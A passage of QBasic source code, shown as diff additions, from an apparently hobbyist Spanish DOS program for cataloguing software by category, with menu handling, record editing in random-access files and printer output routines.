PRINT "Se desviaran las funciones PRINCIPALES de intercambio TEMPORAL" + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP +RETURN + +END SUB + +SUB EscogeSeccion + ON ERROR GOTO ERRORTRAP + 'Stores info about each column + REDIM Help$(10), col(6), Vis(6), Max(6), CurrString$(3), CurrFig#(5), Choice$(10), menuRow(10), menuCol(10) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000) + + Choice$(1) = " Juegos " + Choice$(2) = " M£sica " + Choice$(3) = " Procesadores de textos " + Choice$(4) = " Pgr. Contabilidad " + Choice$(5) = " Pgr. Electronica " + Choice$(6) = " Gr ficos " + Choice$(7) = " Utilidades " + Choice$(8) = " Lenguajes " + Choice$(9) = " Windows " + Choice$(10) = " Otros... " + + FOR T = 1 TO 10 + Help$(T) = RTRIM$(Choice$(T)) + NEXT + + menuRow(1) = 4: menuCol(1) = 3 + menuRow(2) = 5: menuCol(2) = 3 + menuRow(3) = 6: menuCol(3) = 3 + menuRow(4) = 7: menuCol(4) = 3 + menuRow(5) = 8: menuCol(5) = 3 + menuRow(6) = 9: menuCol(6) = 3 + menuRow(7) = 10: menuCol(7) = 3 + menuRow(8) = 11: menuCol(8) = 3 + menuRow(9) = 12: menuCol(9) = 3 + menuRow(10) = 13: menuCol(10) = 3 + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + sombra = 1: BorraPantalla = 1 + Box 16, 2, 18, 29 + LOCATE 17, 7: PRINT "Seleccione Secci¢n" + AnulTecl = 1 + sbchce = Menu(1, 10, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + AnulTecl = 0: BorraPantalla = 0 + LOCATE 17, 4: PRINT Choice$(sbchce); + Box 3, 35, 8, 76 + Box 10, 35, 18, 76 + sombra = 0 + IF sbchce <> 10 THEN TempClase$ = STR$(sbchce) ELSE TempClase$ = "0" + SELECT CASE sbchce + CASE 1 + file$ = "Datos-1.dat" + file2$ = "DaTM-1.dat" + CASE 2 TO 5 + file$ = "Datos-2.dat" + file2$ = "DaTM-2.dat" + CASE 6 TO 10 + file$ = "Datos-3.dat" + file2$ = "DaTM-3.dat" + + CASE ELSE + END SELECT + +END SUB + +'FancyCls: +' Clears screen in the right color, and draws nice dots. +SUB FancyCls (dots, Background) + + VIEW PRINT 2 TO 24 + COLOR dots, Background + CLS 2 + + FOR a = 95 TO 1820 STEP 45 + Row = a / 80 + 1 + col = a MOD 80 + 1 + LOCATE Row, col + PRINT CHR$(250); + NEXT a + + VIEW PRINT + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (Row, col, Start$, end$, Vis, Max) + Curr$ = Trim$(LEFT$(Start$, Max)) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = FALSE + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(kbd$) > 1 THEN + finished = TRUE + GetString$ = kbd$ + ELSE + SELECT CASE kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = TRUE + GetString$ = kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "¥" + IF LEN(Curr$) < Max THEN + Curr$ = Curr$ + kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE Row, col + IF LEN(Curr$) > Vis THEN + PRINT RIGHT$(Curr$, Vis); + ELSE + PRINT Curr$; SPACE$(Vis - LEN(Curr$)); + LOCATE Row, col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +SUB ImprCom (TipodeImpresion%) + ON ERROR GOTO ERRORTRAP + 'Stores info about each column + 'Array to keep the current balance at all the transactions + DIM Choice$(2), menuRow(2), Help$(2), menuCol(2), CurrString$(3), Men$(4) + + Choice$(1) = " 1 Columna " + Choice$(2) = " 3 Columnas " + + menuRow(1) = 7: menuCol(1) = 35 + menuRow(2) = 8: menuCol(2) = 35 + + Help$(1) = "Imprimir en una columna junto con los comentarios correspondientes" + Help$(2) = "Imprimir en 3 columnas" + + SubChoice = Menu(1, 2, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + Columnas = SubChoice + + lineaimpresas = 1 + PrintErr = FALSE + ON ERROR GOTO ERRORTRAP ' test if printer is connected + LPRINT + + +IF PrintErr = FALSE THEN + + + IF TipodeImpresion% = 0 THEN ittem% = 1 ELSE ittem% = TipodeImpresion% + +DO + PosicionImpresa = 1 + GOSUB EscogeFichero + +Vld$ = "" + +OPEN file$ FOR RANDOM AS #1 LEN = 25 +OPEN file2$ FOR RANDOM AS #2 LEN = 165 + + FIELD #1, 1 AS IoClase$, 1 AS IoCod$, 15 AS IoDesc$, 3 AS IoPos$ + FIELD #1, 1 AS Valid$, 4 AS IoMaxRecord$ + + FIELD #2, 40 AS IoMenI$, 40 AS IoMenII$, 40 AS IoMenIII$, 40 AS IoMenIV$ + FIELD #2, 1 AS Vld$, 4 AS IoMxRcrd$ + + GET #1, 1 + + +IF Valid$ = "*" THEN + + MaxRecord = VAL(IoMaxRecord$) + c = 1: Inicio = 0: Fin = 0: ves = 0 + + DO + GET #1, c + 1 + IF VAL(IoClase$) = VAL(TempClase$) THEN + IF ves = 0 THEN Inicio = c: ves = 1 ELSE Fin = Fin + 1 + END IF + c = c + 1 + LOOP WHILE c <= MaxRecord + + Fin = Fin + Inicio + + +IF Inicio <> 0 THEN + IF lineaimpresas >= 50 THEN GOSUB paradeimprimir + OPEN "lpt1:" FOR OUTPUT AS #3 + PRINT #3, CHR$(13) + SELECT CASE ittem% + CASE 1: PRINT #3, CHR$(27); "!"; CHR$(32); " Juegos " + CASE 2: PRINT #3, CHR$(27); "!"; CHR$(32); " M£sica " + CASE 3: PRINT #3, CHR$(27); "!"; CHR$(32); " Procesadores de textos " + CASE 4: PRINT #3, CHR$(27); "!"; CHR$(32); " Pgr. Contabilidad " + CASE 5: PRINT #3, CHR$(27); "!"; CHR$(32); " Pgr. Electronica " + CASE 6: PRINT #3, CHR$(27); "!"; CHR$(32); " Gr ficos " + CASE 7: PRINT #3, CHR$(27); "!"; CHR$(32); " Utilidades " + CASE 8: PRINT #3, CHR$(27); "!"; CHR$(32); " Lenguajes " + CASE 9: PRINT #3, CHR$(27); "!"; CHR$(32); " Windows " + CASE 10: PRINT #3, CHR$(27); "!"; CHR$(32); " Otros... " + CASE ELSE + END SELECT + PRINT #3, CHR$(27); "!"; CHR$(1); + CLOSE #3 + lineaimpresas = lineaimpresas + 1 + CurrTopLine = Inicio + PosCol = 1 + CurrRow = 0 + + + DO + CurrRow = CurrRow + 1 + CurrRecord = CurrTopLine + CurrRow - 1 + + IF CurrRecord <= Fin THEN + + GET #1, CurrRecord + 1 + Clase$ = RTRIM$(LTRIM$(IoClase$)) + CurrString$(1) = IoCod$ + CurrString$(3) = IoDesc$ + CurrString$(2) = IoPos$ + + IF CurrString$(1) = "1" AND Columnas = 1 THEN + c = 0: P = 0 + + DO + IF lineaimpresas = 55 THEN GOSUB paradeimprimir + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + GET #2, P + 1 + Men$(1) = IoMenI$ + Men$(2) = IoMenII$ + Men$(3) = IoMenIII$ + Men$(4) = IoMenIV$ + EXIT DO + END IF + LOOP WHILE c <= MaxRecord + + END IF + GOSUB SeleccionaColumna + + ELSE + EXIT DO + END IF + + LOOP + + + END IF +END IF +CLOSE + +ittem% = ittem% + 1 +LOOP WHILE ittem% <= 10 AND TipodeImpresion% = 0 + + +END IF +CLOSE +LPRINT +OPEN "Mensaje.Cat" FOR RANDOM AS #1 LEN = 201 + + FIELD #1, 40 AS IoLine1$, 40 AS IoLine2$, 40 AS IoLine3$, 40 AS IoLine4$, 40 AS IoLine5$ + FIELD #1, 1 AS Valid$ + + OPEN "lpt1:" FOR OUTPUT AS #3 + PRINT #3, CHR$(27); "!"; CHR$(32); + GET #1, 1 + IF Valid$ = "*" THEN + GET #1, 2 + LPRINT IoLine1$ + LPRINT IoLine2$ + LPRINT IoLine3$ + LPRINT IoLine4$ + LPRINT IoLine5$ + END IF + CLOSE + +EXIT SUB + + + +paradeimprimir: + Box 20, 2, 23, 76 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN: La impresora esta apunto de quedarse sin papel." + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Ponga papel, y pulse una tecla para continuar. " + COLOR colors(7, ColorPref), colors(4, ColorPref) + SLEEP +ON ERROR GOTO ERRORTRAP ' test if printer is connected +LPRINT +IF PrintErr = FALSE THEN +lineaimpresas = 1 +RETURN +ELSE +EXIT SUB +END IF + +EscogeFichero: + + SELECT CASE ittem% + CASE 1 + file$ = "Datos-1.dat" + file2$ = "DaTM-1.dat" + CASE 2 TO 5 + file$ = "Datos-2.dat" + file2$ = "DaTM-2.dat" + CASE 6 TO 10 + file$ = "Datos-3.dat" + file2$ = "DaTM-3.dat" + + CASE ELSE + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + sombra = 0 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN!!! Se produjo un error que no hab¡a previsto. E.C.1" + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Llama al (95)- 561.08.91 , INFORMAME... " + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + SYSTEM + END SELECT + IF ittem% <> 10 THEN TempClase$ = STR$(ittem%) ELSE TempClase$ = "0" +RETURN + + +SeleccionaColumna: + SELECT CASE Columnas + CASE 1 + IF CurrString$(1) = "1" THEN + LPRINT + LPRINT CurrString$(3); " "; CurrString$(2); " "; Men$(1) + LPRINT TAB(25); Men$(2) + LPRINT TAB(25); Men$(3) + LPRINT TAB(25); Men$(4) + lineaimpresas = lineaimpresas + 5 + PosicionImpresa = 1 + + ELSE + SELECT CASE PosicionImpresa + CASE 1: LPRINT CurrString$(3); " "; CurrString$(2); : PosicionImpresa = 2 + CASE 2: LPRINT " ³ "; CurrString$(3); " "; CurrString$(2); : PosicionImpresa = 3 + CASE 3: LPRINT " ³ "; CurrString$(3); " "; CurrString$(2): PosicionImpresa = 1 + + CASE ELSE + END SELECT + lineaimpresas = lineaimpresas + 1 + END IF + + CASE 2 + SELECT CASE PosicionImpresa + CASE 1: LPRINT CurrString$(3); " "; CurrString$(2); : PosicionImpresa = 2 + CASE 2: LPRINT " ³ "; CurrString$(3); " "; CurrString$(2); : PosicionImpresa = 3 + CASE 3: LPRINT " ³ "; CurrString$(3); " "; CurrString$(2): PosicionImpresa = 1 + + CASE ELSE + END SELECT + lineaimpresas = lineaimpresas + 1 + CASE ELSE + END SELECT +RETURN + +END SUB + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR x = 1 TO 10 + READ colors(x, ColorSet) + NEXT x + NEXT ColorSet + + LoadState + +END SUB + +'LoadState: +' Load color preferences and account info from MONEY.DAT +SUB LoadState + DEFINT A-Z + OPEN "Catalogo.CFG" FOR INPUT AS #1 + INPUT #1, ColorPref + INPUT #1, Poseedor$ + INPUT #1, Password$ + CLOSE + Password# = VAL(RIGHT$(Password$, LEN(Password$) - 1)) / VAL(LEFT$(Password$, 1)) / 7 + +END SUB + +SUB MasMenosProg + + ON ERROR GOTO ERRORTRAP + 'Stores info about each column + REDIM Help$(10), col(6), Vis(6), Max(6), CurrString$(3), CurrFig#(5), Choice$(10), menuRow(10), menuCol(10), Men$(4), f(2) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000) + +EscogeSeccion +Vld$ = "" +OPEN file$ FOR RANDOM AS #1 LEN = 25 +OPEN file2$ FOR RANDOM AS #2 LEN = 165 + + FIELD #1, 1 AS IoClase$, 1 AS IoCod$, 15 AS IoDesc$, 3 AS IoPos$ + FIELD #1, 1 AS Valid$, 4 AS IoMaxRecord$ + + FIELD #2, 40 AS IoMenI$, 40 AS IoMenII$, 40 AS IoMenIII$, 40 AS IoMenIV$ + FIELD #2, 1 AS Vld$, 4 AS IoMxRcrd$ + + GET #1, 1 + IF Valid$ <> "*" THEN + LSET IoClase$ = "þ" + LSET IoCod$ = "" + LSET IoDesc$ = "" + LSET IoPos$ = "" + PUT #1, 2 + LSET Valid$ = "*" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + GET #2, 1 + IF Vld$ <> "*" THEN + LSET IoMenI$ = "" + LSET IoMenII$ = "" + LSET IoMenIII$ = "" + LSET IoMenIV$ = "" + PUT #2, 2 + LSET Vld$ = "*" + LSET IoMxRcrd$ = "1" + PUT #2, 1 + END IF + + 'Initialize variables + CurrString$(1) = "" + CurrString$(2) = "" + CurrString$(3) = "" + MaxRecord = VAL(IoMaxRecord$) + +c = 1: Inicio = 0: Fin = 0 +DO +GET #1, c + 1 +IF VAL(IoClase$) = VAL(TempClase$) THEN + IF ves = 0 THEN Inicio = c: ves = 1 ELSE Fin = Fin + 1 +END IF +c = c + 1 +LOOP WHILE c <= MaxRecord +Fin = Fin + Inicio +IF Inicio = 0 THEN + CurrTopLine = MaxRecord + 1 + GOSUB EditTransAddRecord + Inicio = MaxRecord + Fin = MaxRecord +END IF + + + Help$(1) = "Nombre del Programa (15 dig.) " + Help$(2) = "N§ Kb, Mb, Diskettes... " + + col(1) = 36 'La constante para la segunda columna es 21 + col(2) = 52 + + Vis(1) = 15 + Vis(2) = 3 + + Max(1) = 15 + Max(2) = 3 + + 'Draw Screen + + u$ = "\ \ \ \" + u1$ = " " + u1x$ = "ßßßßßßßßßßßßßßß ßßß" + u2$ = "###" + + CurrTopLine = Inicio + PosCol = 1 + CurrRow = 1 + CurrCol = 1 + GOSUB EditTransPrintWholeScreen + + PrintHelpLine Help$(CurrCol) + "| " + + GOSUB EditTransGetLine + GOSUB EditTransPrintLine + OldCurrString$ = CurrString$(1) + + finished = FALSE + + + 'Loop until is pressed + DO + hide = 0: GOSUB EditTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + hide = 1: GOSUB EditTransShowCursor + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditTransEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditTransMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + CurrCol = CurrCol - 1 + IF CurrCol = 0 THEN CurrCol = 2 + PrintHelpLine Help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = CurrCol + 1 + IF CurrCol = 3 THEN CurrCol = 1 + PrintHelpLine Help$(CurrCol) + "| " + + CASE CHR$(0) + "=" 'F3 + hide = 0: GOSUB EditTransShowCursor 'Show Cursor, Wait for key + TempCurrString$ = CurrString$(1) + CurrString$(1) = "1" + GOSUB PideComentario + GOSUB EditTransPutLine + CurrString$ = "1" + OldCurrString$ = "1" + PrintHelpLine Help$(CurrCol) + "| " + + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 2 + CASE CHR$(0) + "I" 'Page Up + OldCurrString$ = CurrString$(1) + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine - 14 + IF CurrTopLine < Inicio THEN + CurrTopLine = Inicio + END IF + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + CASE CHR$(0) + "Q" 'Page Down + OldCurrString$ = CurrString$(1) + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine + 14 + IF CurrTopLine > Fin THEN + CurrTopLine = Fin + END IF + + GOSUB EditTransPrintWholeScreen + GOSUB EditTransGetLine + + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + GOSUB EditTransAddRecord + OldCurrString$ = "1" + CASE CHR$(0) + "D" 'F10 + GOSUB EditTransDeleteRecord + OldCurrString$ = "1" + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditTransShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + IF PosCol = 1 THEN LOCATE CurrRow + 10, col(CurrCol) ELSE LOCATE CurrRowFalse + 9, col(CurrCol) + 21 + SELECT CASE CurrCol + CASE 1 + PRINT LEFT$(CurrString$(3), 15); + CASE 2 + IF VAL(CurrString$(2)) <> 0 THEN + PRINT USING u2$; VAL(CurrString$(2)); + ELSE + PRINT " "; + END IF + END SELECT + RETURN + +EditTransEditItem: + + CurrRecord = CurrTopLine + CurrRow - 1 + COLOR colors(8, ColorPref), colors(9, ColorPref) + IF PosCol = 1 THEN CrrRw = CurrRow: f(1) = col(1): f(2) = col(2) ELSE CrrRw = CurrRowFalse - 1: f(1) = col(1) + 21: f(2) = col(2) + 21 + SELECT CASE CurrCol + + CASE 1 + IF RTRIM$(LTRIM$(CurrString$(3))) <> "" THEN Start$ = CurrString$(3) + kbd$ ELSE Start$ = kbd$ + kbd$ = GetString$(CrrRw + 10, f(1), Start$, new$, Vis(CurrCol), Max(CurrCol)) + CurrString$(3) = new$ + GOSUB EditTransPutLine + GOSUB EditTransGetLine + CASE 2 + Start$ = kbd$ + DO + kbd$ = GetString$(CrrRw + 10, f(2), Start$, new$, Vis(2), Max(2)) + new2# = VAL(new$) + Start$ = "" + LOOP WHILE new2# >= 999# OR new4# < 0 + CurrString$(2) = new$ + GOSUB EditTransPutLine + GOSUB EditTransGetLine + CASE ELSE + END SELECT + GOSUB EditTransPrintLine + RETURN + +EditTransMoveUp: + IF CurrRow = 1 THEN + BEEP + ELSE + CurrRow = CurrRow - 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EditTransGetLine + END IF + IF CurrString$(1) = "1" OR OldCurrString$ = "1" THEN GOSUB EditTransPrintLine + OldCurrString$ = CurrString$(1) + RETURN + +EditTransMoveDown: + IF (CurrRow + CurrTopLine - 1) >= Fin OR CurrRow = 14 THEN + BEEP + ELSE + IF CurrRow = 14 THEN + BEEP + ELSE + CurrRow = CurrRow + 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EditTransGetLine + END IF + END IF + + IF CurrString$(1) = "1" OR OldCurrString$ = "1" THEN GOSUB EditTransPrintLine + OldCurrString$ = CurrString$(1) + RETURN + +EditTransPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopLine + CurrRow - 1 + IF PosCol = 1 THEN + LOCATE CurrRow + 10, 36 + ELSE + LOCATE CurrRowFalse + 9, 57 + END IF + + IF CurrRecord = Fin + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > Fin THEN + PRINT u1$; + ELSE + + IF RTRIM$(LTRIM$(CurrString$(3))) = "" THEN PRINT " "; ELSE PRINT CurrString$(3) + " "; + IF VAL(CurrString$(2)) = 0 THEN PRINT " "; ELSE PRINT USING u2$; VAL(CurrString$(2)); + IF Permiso <> 1 THEN + IF CurrString$(1) = "1" THEN + LOCATE 4, 36: IF RTRIM$(LTRIM$(Men$(1))) <> "" THEN PRINT Men$(1); ELSE PRINT SPC(40); + LOCATE 5, 36: PRINT SPC(40); + LOCATE 5, 36: IF RTRIM$(LTRIM$(Men$(2))) <> "" THEN PRINT Men$(2); ELSE PRINT SPC(40); + LOCATE 6, 36: IF RTRIM$(LTRIM$(Men$(3))) <> "" THEN PRINT Men$(3); ELSE PRINT SPC(40); + LOCATE 7, 36: IF RTRIM$(LTRIM$(Men$(4))) <> "" THEN PRINT Men$(4); ELSE PRINT SPC(40); + ELSE + LOCATE 4, 36: PRINT SPC(40); + LOCATE 5, 36: PRINT " Sin Comentarios "; + LOCATE 6, 36: PRINT SPC(40); + LOCATE 7, 36: PRINT SPC(40); + END IF + END IF + END IF + + RETURN + + +EditTransDeleteRecord: + IF Fin = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopLine + CurrRow - 1 + Fin = Fin - 1 + MaxRecord = MaxRecord - 1 +IF CurrString$(1) = "1" THEN + c = 0: P = 0 + GET #2, 1 + Tam = VAL(IoMxRcrd$) + DO + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + + WHILE P <= Tam - 1 + GET #2, P + 2 + PUT #2, P + 1 + P = P + 1 + WEND + EXIT DO +END IF + LOOP WHILE c <= MaxRecord + LSET Vld$ = "*" + LSET IoMxRcrd$ = STR$(Tam - 1) + PUT #2, 1 + END IF + + a = CurrRecord + + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + a = a + 1 + WEND + + LSET Valid$ = "*" + LSET IoMaxRecord$ = STR$(MaxRecord) + PUT #1, 1 + + TempRowFalse = CurrRowFalse: TempCurrRow = CurrRow + TempPosCol = PosCol + GOSUB EditTransPrintWholeScreen + PosCol = TempPosCol: CurrRowFalse = TempRowFalse + CurrRow = TempCurrRow + CurrRecord = CurrTopLine + CurrRow - 1 + + IF CurrRecord > MaxRecord THEN + GOSUB EditTransMoveUp + END IF + GOSUB EditTransGetLine + CurrString$ = "1" + OldCurrString$ = "1" + GOSUB EditTransPrintLine + END IF + RETURN + +EditTransAddRecord: + CurrRecord = CurrTopLine + CurrRow - 1 + a = MaxRecord + WHILE a > CurrRecord + GET #1, a + 1 + PUT #1, a + 2 + a = a - 1 + WEND + + MaxRecord = MaxRecord + 1 + Fin = Fin + 1 + LSET IoClase$ = RTRIM$(LTRIM$(TempClase$)) + LSET IoCod$ = "" + LSET IoPos$ = "" + LSET IoDesc$ = "" + PUT #1, CurrRecord + 2 + + LSET Valid$ = "*" + LSET IoMaxRecord$ = STR$(MaxRecord) + PUT #1, 1 + TempRow = CurrRow + TempPosCol = PosCol: TempRowFalse = CurrRowFalse + GOSUB EditTransPrintWholeScreen + PosCol = TempPosCol: CurrRowFalse = TempRowFalse + CurrRow = TempRow + GOSUB EditTransGetLine + RETURN + +EditTransPrintWholeScreen: + + Permiso = 1 + temp = CurrRow + + FOR CurrRow = 1 TO 14 + CurrRecord = CurrTopLine + CurrRow - 1 + IF CurrRecord <= Fin THEN + GOSUB EditTransGetLine + END IF + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + END IF + + GOSUB EditTransPrintLine + PosCol = 1 + NEXT CurrRow + Permiso = 0 + CurrRow = temp + RETURN + +EditTransPutLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + + GET #1, CurrRecord + 1 + Dezplazamiento = 0 + IF IoCod$ <> CurrString$(1) THEN + Dezplazamiento = 1 + GET #2, 1 + IOMR$ = IoMxRcrd$ + IOMR = VAL(IOMR$) + LSET Vld$ = "*" + LSET IoMxRcrd$ = STR$(VAL(IOMR$) + 1) + PUT #2, 1 + + END IF + + LSET IoClase$ = RTRIM$(LTRIM$(TempClase$)) + LSET IoCod$ = CurrString$(1) + LSET IoDesc$ = CurrString$(3) + LSET IoPos$ = CurrString$(2) + PUT #1, CurrRecord + 1 + + IF CurrString$(1) = "1" THEN + c = 0: P = 0 + DO + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + + IF Dezplazamiento = 1 THEN + a = IOMR + WHILE a > P - 1 + GET #2, a + 1 + PUT #2, a + 2 + a = a - 1 + WEND + END IF + LSET IoMenI$ = Men$(1) + LSET IoMenII$ = Men$(2) + LSET IoMenIII$ = Men$(3) + LSET IoMenIV$ = Men$(4) + PUT #2, P + 1 + EXIT DO + END IF + LOOP WHILE c <= MaxRecord + END IF + + RETURN + +EditTransGetLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + GET #1, CurrRecord + 1 + Clase$ = RTRIM$(LTRIM$(IoClase$)) + CurrString$(1) = IoCod$ + CurrString$(3) = IoDesc$ + CurrString$(2) = IoPos$ + IF CurrString$(1) = "1" THEN + c = 0: P = 0 + DO + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + GET #2, P + 1 + Men$(1) = IoMenI$ + Men$(2) = IoMenII$ + Men$(3) = IoMenIII$ + Men$(4) = IoMenIV$ + EXIT DO + END IF + LOOP WHILE c <= MaxRecord + END IF + RETURN + +PideComentario: + + IF TempCurrString$ <> "1" THEN FOR yitu = 1 TO 4: Men$(yitu) = "": NEXT + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 5, 36: PRINT Men$(CrRw); SPC(40 - LEN(Men$(CrRw))); + CrRw = 1 + PrintHelpLine "Comentario | " + fiiniished = FALSE + 'Loop until is pressed + DO + hide = 0: GOSUB EdditTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + Start$ = kbd$ + hide = 1: GOSUB EdditTransShowCursor + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + COLOR colors(8, ColorPref), colors(9, ColorPref) + IF RTRIM$(LTRIM$(Men$(CrRw))) <> "" THEN Start$ = Men$(CrRw) + kbd$ ELSE Start$ = kbd$ + kbd$ = GetString$(CrRw + 3, 36, Start$, new$, 40, 40) + Men$(CrRw) = new$ + hide = 1: GOSUB EdditTransShowCursor 'Show Cursor, Wait for key + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + CrRw = CrRw - 1 + IF CrRw <= 0 THEN CrRw = 4 + CASE CHR$(0) + "P" 'Down arrow + CrRw = CrRw + 1 + IF CrRw >= 5 THEN CrRw = 1 + CASE CHR$(0) + "<" 'F2 + fiiniished = TRUE + CASE ELSE + BEEP + END SELECT + LOOP UNTIL fiiniished + PrintHelpLine "Por Favor, espere... Buscando y Grabando posiciones" + RETURN + +EdditTransShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CrRw + 3, 36: PRINT Men$(CrRw); SPC(40 - LEN(Men$(CrRw))); + RETURN + + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, Choice$(), ItemRow(), ItemCol(), Help$(), BarMode) + + currChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + IF BorraPantalla <> 1 THEN FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(Choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR a = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + a - 1, ItemCol(1) + LEN(Choice$(1)) + 2 + PRINT CHR$(219); + NEXT a + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 1 + PRINT STRING$(LEN(Choice$(MaxChoice)) + 2, 223); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + + FOR a = 1 TO MaxChoice + LOCATE ItemRow(a), ItemCol(a) + PRINT Choice$(a); + NEXT a + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + + finished = FALSE + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor + + SELECT CASE kbd$ + CASE CHR$(0) + 